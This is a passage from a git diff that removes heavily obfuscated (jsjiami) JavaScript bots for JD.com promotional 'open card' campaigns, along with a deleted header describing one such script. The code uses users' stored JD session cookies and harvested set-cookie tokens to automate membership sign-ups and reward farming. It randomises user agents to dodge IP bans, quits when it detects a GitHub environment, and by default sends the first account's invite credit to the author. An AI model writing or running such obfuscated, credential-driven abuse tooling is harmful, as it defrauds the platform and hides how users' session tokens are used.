res[_0x4291('30')][_0x4291('c0')][_0x4291('2c6')],_0x4d799f[_0x4291('422')]))$[_0x4291('c0')]=res[_0x4291('30')][_0x4291('c0')][_0x4291('2c6')];if(_0x4d799f[_0x4291('423')](typeof res[_0x4291('30')][_0x4291('52')],_0x4d799f[_0x4291('422')]))$[_0x4291('52')]=res[_0x4291('30')][_0x4291('52')];}}catch(_0x4fc1a7){$[_0x4291('5b')](_0x4fc1a7,_0x4303ac);}finally{_0x3b5661[_0x4291('424')](_0x27c105);}}else{console[_0x4291('a')](_0x4291('120'));let _0x3d8c88=0x0;let _0xf3e76c=0x0;for(let _0x110b0f in res[_0x4291('30')]){let _0x29dcd6=res[_0x4291('30')][_0x110b0f];if(_0x4d799f[_0x4291('425')](_0x29dcd6[_0x4291('a2')],_0x4d799f[_0x4291('426')]))_0x3d8c88++;if(_0x4d799f[_0x4291('425')](_0x29dcd6[_0x4291('a2')],_0x4d799f[_0x4291('426')]))_0xf3e76c=_0x29dcd6[_0x4291('123')][_0x4291('57')]('京豆','');if(_0x4d799f[_0x4291('427')](_0x29dcd6[_0x4291('a2')],_0x4d799f[_0x4291('426')]))console[_0x4291('a')](''+(_0x4d799f[_0x4291('428')](_0x29dcd6[_0x4291('126')],0xa)&&_0x4d799f[_0x4291('429')](_0x29dcd6[_0x4291('a2')],':')||'')+_0x29dcd6[_0x4291('123')]);}if(_0x4d799f[_0x4291('42a')](_0x3d8c88,0x0))console[_0x4291('a')](_0x4291('129')+_0x3d8c88+'):'+(_0x4d799f[_0x4291('42b')](_0x3d8c88,_0x4d799f[_0x4291('42c')](parseInt,_0xf3e76c,0xa))||0x1e)+'京豆');}});}else{$[_0x4291('5b')](e,resp);}});}function getCk(){var _0x19c087={'DmfKY':function(_0x23ac23){return _0x23ac23();},'Zragx':function(_0xe9d80b,_0x62e379){return _0xe9d80b==_0x62e379;},'ghQOH':_0x4291('de'),'EgQLT':function(_0xdba820,_0x323014){return _0xdba820!=_0x323014;},'UUPJH':function(_0x1d3b65,_0x52c0a6){return _0x1d3b65+_0x52c0a6;},'ucoSZ':function(_0x3aae8e,_0x503720){return _0x3aae8e(_0x503720);},'rFBmW':_0x4291('22'),'YIbru':_0x4291('309'),'bKVTF':_0x4291('30a'),'PZwvb':_0x4291('30b'),'iOjXi':function(_0x1c90b1,_0x20b166){return _0x1c90b1*_0x20b166;},'xQeen':function(_0x5596c8,_0x3ede5a){return _0x5596c8!==_0x3ede5a;},'ukvqf':_0x4291('42d'),'RWCBj':function(_0x1caa0a,_0x270f37){return _0x1caa0a===_0x270f37;},'EVdKa':_0x4291('42e'),'txGMb':_0x4291('18'),'xUjll':_0x4291('42f'),'KSGOb':_0x4291('430'),'UeLWt':_0x4291('30c'),'GzBeK':_0x4291('30d'),'uukLa':_0x4291('30e'),'BlAQd':function(_0x1a0e04,_0x7e6a94){return _0x1a0e04!=_0x7e6a94;},'PIjRK':_0x4291('60'),'zCoZb':function(_0x400ec4,_0x32e0e8){return _0x400ec4===_0x32e0e8;},'dXoQU':_0x4291('431'),'QOBNy':function(_0xecd9eb,_0x1b04e2){return _0xecd9eb>_0x1b04e2;},'kawiZ':_0x4291('5e'),'zsoum':function(_0x2b9330,_0x5612ea){return _0x2b9330>_0x5612ea;},'HYRax':_0x4291('5f'),'ozUtP':function(_0x7cb967,_0x256a13){return _0x7cb967&&_0x256a13;},'CAQGo':function(_0x10d54e,_0x458825){return _0x10d54e===_0x458825;},'BHJgv':_0x4291('432'),'tQqup':_0x4291('433'),'HNJPx':_0x4291('434'),'JNBdh':_0x4291('435')};return new Promise(_0x3a01f2=>{var _0x5120c1={'ERceJ':function(_0x4fb747,_0x4d283a){return _0x19c087[_0x4291('436')](_0x4fb747,_0x4d283a);},'RUVJo':_0x19c087[_0x4291('437')]};let _0x4e21b8={'url':_0x4291('334')+$[_0x4291('40')]+_0x4291('43')+$[_0x4291('3e')],'followRedirect':![],'headers':{'User-Agent':$['UA']}};$[_0x4291('1ea')](_0x4e21b8,async(_0x24f355,_0x375551,_0x3cd96f)=>{var _0x247f4f={'yymvB':function(_0x3431fe){return _0x19c087[_0x4291('438')](_0x3431fe);},'QxSpC':function(_0x261138,_0x278de5){return _0x19c087[_0x4291('436')](_0x261138,_0x278de5);},'uOSyD':_0x19c087[_0x4291('439')],'mTBsn':function(_0xad9df7,_0x5169cf){return _0x19c087[_0x4291('43a')](_0xad9df7,_0x5169cf);},'lyWkr':function(_0x227500,_0x66a8cd){return _0x19c087[_0x4291('43a')](_0x227500,_0x66a8cd);},'UglUt':function(_0x2f8c45,_0x486196){return _0x19c087[_0x4291('43b')](_0x2f8c45,_0x486196);},'gUzFs':function(_0x30d556,_0x4f7032){return _0x19c087[_0x4291('43c')](_0x30d556,_0x4f7032);},'UgsDV':function(_0x22c0a7,_0x52a007){return _0x19c087[_0x4291('436')](_0x22c0a7,_0x52a007);},'cLyLl':_0x19c087[_0x4291('43d')],'mZWPF':_0x19c087[_0x4291('43e')],'ggazW':_0x19c087[_0x4291('43f')],'kONYU':_0x19c087[_0x4291('440')],'GIYJV':function(_0x672bd6,_0x1d02e3){return _0x19c087[_0x4291('441')](_0x672bd6,_0x1d02e3);}};if(_0x19c087[_0x4291('442')](_0x19c087[_0x4291('443')],_0x19c087[_0x4291('443')])){_0x247f4f[_0x4291('444')](_0x3a01f2);}else{try{if(_0x24f355){if(_0x375551[_0x4291('118')]&&_0x19c087[_0x4291('436')](_0x375551[_0x4291('118')],0x1ed)){if(_0x19c087[_0x4291('445')](_0x19c087[_0x4291('446')],_0x19c087[_0x4291('446')])){console[_0x4291('a')](_0x19c087[_0x4291('437')]);$[_0x4291('16')]=!![];}else{if(_0x375551[_0x4291('118')]&&_0x5120c1[_0x4291('447')](_0x375551[_0x4291('118')],0x1ed)){console[_0x4291('a')](_0x5120c1[_0x4291('448')]);$[_0x4291('16')]=!![];}console[_0x4291('a')](''+$[_0x4291('58')](_0x24f355));console[_0x4291('a')]($[_0x4291('2c')]+_0x4291('449'));}}console[_0x4291('a')](''+$[_0x4291('58')](_0x24f355));console[_0x4291('a')]($[_0x4291('2c')]+_0x4291('449'));}else{if(_0x19c087[_0x4291('445')](_0x19c087[_0x4291('44a')],_0x19c087[_0x4291('44b')])){let _0x21e42c=res[_0x4291('30')][i];if(_0x247f4f[_0x4291('44c')](_0x21e42c[_0x4291('a2')],_0x247f4f[_0x4291('44d')]))num++;if(_0x247f4f[_0x4291('44c')](_0x21e42c[_0x4291('a2')],_0x247f4f[_0x4291('44d')]))value=_0x21e42c[_0x4291('123')][_0x4291('57')]('京豆','');if(_0x247f4f[_0x4291('44e')](_0x21e42c[_0x4291('a2')],_0x247f4f[_0x4291('44d')]))console[_0x4291('a')](''+(_0x247f4f[_0x4291('44f')](_0x21e42c[_0x4291('126')],0xa)&&_0x247f4f[_0x4291('450')](_0x21e42c[_0x4291('a2')],':')||'')+_0x21e42c[_0x4291('123')]);}else{let _0x30186a='';let _0x153f77='';let _0x60b252=_0x375551[_0x19c087[_0x4291('451')]][_0x19c087[_0x4291('452')]]||_0x375551[_0x19c087[_0x4291('451')]][_0x19c087[_0x4291('453')]]||'';let _0x17df24='';if(_0x60b252){if(_0x19c087[_0x4291('454')](typeof _0x60b252,_0x19c087[_0x4291('455')])){if(_0x19c087[_0x4291('456')](_0x19c087[_0x4291('457')],_0x19c087[_0x4291('457')])){_0x17df24=_0x60b252[_0x4291('7c')](',');}else{$['UA']=_0x4291('458')+_0x247f4f[_0x4291('459')](randomString,0x28)+_0x4291('45a');if(_0x247f4f[_0x4291('45b')]($[_0x4291('4d')],0x1)){let _0x43f12b=[_0x247f4f[_0x4291('45c')],_0x247f4f[_0x4291('45d')],_0x247f4f[_0x4291('45e')],_0x247f4f[_0x4291('45f')]];$[_0x4291('3e')]=_0x43f12b[Math[_0x4291('35d')](_0x247f4f[_0x4291('460')](Math[_0x4291('a0')](),_0x43f12b[_0x4291('45')]))];}}}else _0x17df24=_0x60b252;for(let _0x436c2c of _0x17df24){let _0x4be5fb=_0x436c2c[_0x4291('7c')](';')[0x0][_0x4291('15f')]();if(_0x4be5fb[_0x4291('7c')]('=')[0x1]){if(_0x19c087[_0x4291('461')](_0x4be5fb[_0x4291('89')](_0x19c087[_0x4291('462')]),-0x1))_0x30186a=_0x19c087[_0x4291('43b')](_0x4be5fb[_0x4291('57')](/ /g,''),';');if(_0x19c087[_0x4291('463')](_0x4be5fb[_0x4291('89')](_0x19c087[_0x4291('464')]),-0x1))_0x153f77=_0x19c087[_0x4291('43b')](_0x4be5fb[_0x4291('57')](/ /g,''),';');}}}if(_0x19c087[_0x4291('465')](_0x30186a,_0x153f77))activityCookie=_0x30186a+'\x20'+_0x153f77;}}}catch(_0x29478f){if(_0x19c087[_0x4291('466')](_0x19c087[_0x4291('467')],_0x19c087[_0x4291('468')])){setcookie=setcookies[_0x4291('7c')](',');}else{$[_0x4291('5b')](_0x29478f,_0x375551);}}finally{if(_0x19c087[_0x4291('442')](_0x19c087[_0x4291('469')],_0x19c087[_0x4291('46a')])){_0x19c087[_0x4291('438')](_0x3a01f2);}else{console[_0x4291('a')](_0x3cd96f);}}}});});}function taskPostUrl(_0x4fd6f0,_0x2746ae){var _0x1ba870={'RJQzR':_0x4291('46b'),'EsqHY':_0x4291('46c'),'iZuCE':_0x4291('46d'),'hyaxr':_0x4291('46e'),'qsbGY':_0x4291('204'),'Ifbjc':function(_0xdd6353,_0x4820fd){return _0xdd6353+_0x4820fd;},'BLXfY':function(_0x2259b0,_0x1d28c2){return _0x2259b0+_0x1d28c2;},'Xcout':_0x4291('46f'),'zpBpT':_0x4291('470'),'Epxrd':_0x4291('471'),'ClMRV':_0x4291('472')};return{'url':_0x4291('471')+_0x4fd6f0,'body':_0x2746ae,'headers':{'Accept':_0x1ba870[_0x4291('473')],'Accept-Language':_0x1ba870[_0x4291('474')],'Accept-Encoding':_0x1ba870[_0x4291('475')],'Connection':_0x1ba870[_0x4291('476')],'Content-Type':_0x1ba870[_0x4291('477')],'Cookie':''+activityCookie+($[_0x4291('74')]&&_0x1ba870[_0x4291('478')](_0x1ba870[_0x4291('479')](_0x1ba870[_0x4291('47a')],$[_0x4291('74')]),';')||'')+lz_jdpin_token,'Host':_0x1ba870[_0x4291('47b')],'Origin':_0x1ba870[_0x4291('47c')],'X-Requested-With':_0x1ba870[_0x4291('47d')],'Referer':_0x4291('334')+$[_0x4291('40')]+_0x4291('43')+$[_0x4291('3e')],'User-Agent':$['UA']}};}function getUA(){var _0x252e70={'NmdkW':function(_0x46b6c3,_0x1df805){return _0x46b6c3(_0x1df805);},'HGbSw':function(_0x331881,_0x1e1a58){return _0x331881==_0x1e1a58;},'OLhjg':_0x4291('22'),'zhaEU':_0x4291('309'),'bTMro':_0x4291('30a'),'yXjen':_0x4291('30b'),'wAKDj':function(_0x18182f,_0xc9a1ad){return _0x18182f*_0xc9a1ad;}};$['UA']=_0x4291('458')+_0x252e70[_0x4291('47e')](randomString,0x28)+_0x4291('45a');if(_0x252e70[_0x4291('47f')]($[_0x4291('4d')],0x1)){let _0x9a98a1=[_0x252e70[_0x4291('480')],_0x252e70[_0x4291('481')],_0x252e70[_0x4291('482')],_0x252e70[_0x4291('483')]];$[_0x4291('3e')]=_0x9a98a1[Math[_0x4291('35d')](_0x252e70[_0x4291('484')](Math[_0x4291('a0')](),_0x9a98a1[_0x4291('45')]))];}}function randomString(_0x54ce30){var _0x18bbf2={'prekn':function(_0x488060,_0x2c25ad){return _0x488060||_0x2c25ad;},'OsFXG':_0x4291('485'),'OojIc':function(_0x24e9ba,_0x3065a9){return _0x24e9ba<_0x3065a9;},'liqtG':function(_0x2f6da0,_0x1e1e6a){return _0x2f6da0*_0x1e1e6a;}};_0x54ce30=_0x18bbf2[_0x4291('486')](_0x54ce30,0x20);let _0x3f1302=_0x18bbf2[_0x4291('487')],_0x5f7f11=_0x3f1302[_0x4291('45')],_0x5c863a='';for(i=0x0;_0x18bbf2[_0x4291('488')](i,_0x54ce30);i++)_0x5c863a+=_0x3f1302[_0x4291('489')](Math[_0x4291('35d')](_0x18bbf2[_0x4291('48a')](Math[_0x4291('a0')](),_0x5f7f11)));return _0x5c863a;}function jsonParse(_0x3aab61){var _0x33c724={'CvxIR':function(_0x22ead3,_0x438ef1){return _0x22ead3==_0x438ef1;},'lvAJG':_0x4291('1e0'),'HRXdn':_0x4291('1e1')};if(_0x33c724[_0x4291('48b')](typeof _0x3aab61,_0x33c724[_0x4291('48c')])){try{return JSON[_0x4291('1f1')](_0x3aab61);}catch(_0x2c07a1){console[_0x4291('a')](_0x2c07a1);$[_0x4291('2b')]($[_0x4291('2c')],'',_0x33c724[_0x4291('48d')]);return[];}}};_0xod2='jsjiami.com.v6'; - -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} - - diff --git a/backUp/gua_opencard26.js b/backUp/gua_opencard26.js deleted file mode 100644 index e04c863..0000000 --- a/backUp/gua_opencard26.js +++ /dev/null @@ -1,52 +0,0 @@ -/* -9.8-10.8 京粮食品 京秋放价 [gua_opencard26.js] -新增开卡脚本 (脚本已加密 -一次性脚本 - -邀请一人20豆 被邀请也有10豆(有可能没有豆 -开1组卡 抽奖可能获得20京豆(有可能有抽到空气💨 -关注10京豆 (有可能是空气💨 -加购5京豆 (有可能是空气💨 默认不加购 如需加购请设置环境变量[guaopencard_addSku26]为"true" - -第一个账号助力作者 其他依次助力CK1 -第一个CK失效会退出脚本 - -默认脚本不执行 -如需执行脚本请设置环境变量 -guaopencard26="true" - -All变量适用 -———————————————— -入口:[ 9.8-10.8 京粮食品 京秋放价 (https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity?activityId=ae2674803c574c26af90243148a98312&shareUuid=e64a0127aa5843b292cfab7e10a91294)] - -请求太频繁会被黑ip -过10分钟再执行 - -============Quantumultx=============== -[task_local] -#9.8-10.8 京粮食品 京秋放价 -27 2 * 9,10 * https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard26.js, tag=9.8-10.8 京粮食品 京秋放价, enabled=true - -================Loon============== -[Script] -cron "27 2 * 9,10 *" script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard26.js,tag=9.8-10.8 京粮食品 京秋放价 - -===============Surge================= -9.8-10.8 京粮食品 京秋放价 = type=cron,cronexp="27 2 * 9,10 *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard26.js - -============小火箭========= -9.8-10.8 京粮食品 京秋放价 = type=cron,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard26.js, cronexpr="27 2 * 9,10 *", timeout=3600, enable=true -*/ -let guaopencard_addSku = "false" -let guaopencard = "false" - - -const $ = new Env('9.8~10.8 京粮食品 京秋放价'); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const notify = $.isNode() ? require('./sendNotify') : ''; -var _0xodq='jsjiami.com.v6',_0x4a68=[_0xodq,'ZlZtR0E=','dmhJZkI=','dWVjUFI=','aGtTVUE=','TmtucE4=','bXhlSk0=','TUR3d1M=','ZHVMWEw=','SEFYaVY=','emZYYUo=','RFNZa2w=','d1l5WkQ=','bk9HVEE=','Z2ZxYks=','SlpCaVU=','akVaVlo=','a1JCalE=','d2V1b2Y=','ekxkdWM=','UnFvWng=','dGNSSWo=','YXJDb0M=','Y1p2blE=','UU1hcnE=','allnYlY=','SFdqanA=','cWVoSXI=','ZkxXdnA=','UlRBWlE=','UFpqSnI=','clBnRXo=','YXNyQlE=','YnpSZlg=','UHJldnk=','SUdkbXU=','ZWx0TGQ=','SWtFTUo=','dGVsSVI=','Wndmems=','ZERJY3Q=','aUJnSmY=','ZnRLWkE=','anVJYXo=','eXJWamM=','RWtzbmY=','aGVhZGVycw==','c2V0LWNvb2tpZQ==','U2V0LUNvb2tpZQ==','bEZIVEE=','QlRhZ28=','Uk5KS28=','eW5YeGI=','UWJKVk8=','bXNvd2o=','TWVoYlA=','L2NvbW1vbi9hY2Nlc3NMb2dXaXRoQUQ=','cUhGSko=','QWJGYVU=','V2pSaVU=','UGVFRkU=','dFFnQ2Y=','Z2NtV24=','R3dqbk4=','TExlY1Q=','WkR5WlQ=','b3BrcnM=','c01Eeno=','VEVvRUo=','V1ZqeXg=','eVRGT0g=','alFNTlY=','RHNQS1A=','RVBBcUc=','d3VsT3g=','bnRWeGo=','TmxHV3E=','d1dnREE=','VFZuWkQ=','YllUUGI=','ZExsZXY=','cGp4ZkE=','VGpsSGU=','b3JhblI=','dE1Xa1A=','bEhlVUU=','aHR0cHM6Ly9semR6MS1pc3YuaXN2amNsb3VkLmNvbS9kaW5nemhpL2R6L29wZW5DYXJkL2FjdGl2aXR5P2FjdGl2aXR5SWQ9','dmVuZGVySWQ9','JmNvZGU9OTkmcGluPQ==','YlNhbkU=','JmFjdGl2aXR5SWQ9','JnBhZ2VVcmw9','JnN1YlR5cGU9QVBQJmFkU291cmNlPW51bGw=','TE1jb3Q=','UHdoYko=','Q0xrSU8=','Y0JIQ0Q=','Z2VKbU8=','VUxkTmM=','b3Jrc2E=','Z2dpZGs=','c09vUUI=','YW9zT24=','R3ROYm4=','VVhwZ3E=','cHBRU1I=','UmVjdlQ=','cGp1VGs=','ZlVsenc=','Y29Oc3I=','TGp2RWM=','eUlSeUk=','ZG9wTHI=','dkdWd0w=','ZG5FbEU=','aUlmWWM=','ZmxkdUQ=','ZWdnSUc=','YWpNZ3c=','YXlwb0Y=','UlR4Rlk=','c3pZcEo=','ckxKclI=','VkxZdnE=','cmFvYlY=','IGNvb2tpZSBBUEnor7fmsYLlpLHotKXvvIzor7fmo4Dmn6XnvZHot6/ph43or5U=','SFplRlc=','SGlSbHA=','ZW1NUE0=','TUxOU3k=','TGhkaGw=','b3VHWE0=','QUxSVkY=','Q2xjWHU=','S1dScFQ=','c05HZFM=','eW9yc0Y=','WUJqb2U=','UndsVlQ=','Zm52cWU=','RXpGUUg=','bE9YcG8=','b0ZCeFo=','VGhHank=','L2N1c3RvbWVyL2dldE15UGluZw==','RFFTY0k=','QnVLbkE=','WU9rUGE=','UmtIVGQ=','eHJ3dWQ=','aVpPZXg=','UUZIaWE=','QnlCeGg=','blZlb04=','UEdYYmg=','TEV3bm0=','S1ZpR3U=','enpJZ0Y=','VVZ5WGg=','eEt1ZUI=','RUNpd1o=','VEVCUHI=','bklaa2Q=','aXpJSlQ=','S0JSYWI=','WGN3Q2Y=','ZU1Cb20=','VG1PdFQ=','QnRHSko=','dFJkVWM=','QXh3UmQ=','dXNlcklkPQ==','JnRva2VuPQ==','JmZyb21UeXBlPUFQUA==','em9peWI=','bGF1dW0=','Z2duUGQ=','R2t0elg=','dFFabE0=','Q2tvQU8=','aVlRT3Q=','V2FhS1k=','SWxxdWI=','ZWhIYW0=','dVRhWFY=','a2N6UkQ=','cnZOWm0=','WHhISlg=','RFFsZlQ=','Y1BPbFU=','Uk9IY0w=','QWNiQWs=','SUZ6VFQ=','U2pzUHA=','Qk9xbUg=','UlltWWc=','eUx5Z0I=','SVFVWFA=','Rm5qdEg=','Z0htY3Y=','c2VjcmV0UGlu','aWR6eGc=','ZndSa2I=','YXdxY04=','Z2V0TXlQaW5nIA==','dk5YQ0Q=','QkZncGE=','YWl1UFg=','aWJTSks=','R3J6Rnk=','V25LQXo=','YXBwbGljYXRpb24vanNvbg==','emgtY24=','Z3ppcCwgZGVmbGF0ZSwgYnI=','a2VlcC1hbGl2ZQ==','QVVUSF9DX1VTRVI9','bHpkejEtaXN2LmlzdmpjbG91ZC5jb20=','aHR0cHM6Ly9semR6MS1pc3YuaXN2amNsb3VkLmNvbQ==','WE1MSHR0cFJlcXVlc3Q=','dFlrb3g=','RUdBanM=','RExGQnI=','aWJzaHQ=','Z1VQa1o=','R1JDYno=','Y1dZcXA=','L2R6L2NvbW1vbi9nZXRTaW1wbGVBY3RJbmZvVm8=','dXhmY0E=','bVFORHY=','amlreGY=','a3Z5SmM=','Uk90VVU=','d2lXb3Y=','YnJMQm8=','b1NIWWw=','ZEtZS0M=','Rm53Tk8=','VGpyWlE=','Y0pzemQ=','WWZrZWM=','U1ljUXI=','cHdpT2s=','RXRjSko=','T1VGRkk=','QVZFUmg=','aHJLaHc=','WnRpdGg=','VEZzSk4=','Z0VlWUU=','cnBTQkU=','TXRxZ2I=','cGx1YlI=','WmRSZHc=','cG5qS3E=','WE9Wc3g=','aVhnUXk=','VlB3cUk=','dEZjaE8=','aGJJUmQ=','SkFDeUY=','THpTdHU=','U3VSWmw=','VWhFUWM=','dGtTWUs=','SWJxRGg=','bElDR0I=','VGRUa3M=','eW11TXg=','c1lEaVk=','VFBkWWI=','WWZvRmw=','TnFKdmo=','a3J4dHE=','ZHBqS00=','cnZWUnM=','WHB6SEg=','S3ZBSFo=','d1RhT1g=','QkhGRXA=','bGZWSWI=','cGtqalc=','WnNUWFY=','VXFvcmI=','S05tc1A=','cWFPaEo=','U2NCT2Y=','UlJQcFc=','WGdTZ0k=','c3RyaW5naWZ5','IGdldFNpbXBsZUFjdEluZm9WbyBBUEnor7fmsYLlpLHotKXvvIzor7fmo4Dmn6XnvZHot6/ph43or5U=','U2pqWEg=','UVhGbmk=','RHdsV0w=','TGV0RVg=','UWRERHE=','a0Jabm0=','UGpsTEk=','a29rVmc=','S1dqSEI=','aU9KWUE=','cmhqR0U=','dkFvTms=','TWZ0T0s=','ZW94aEk=',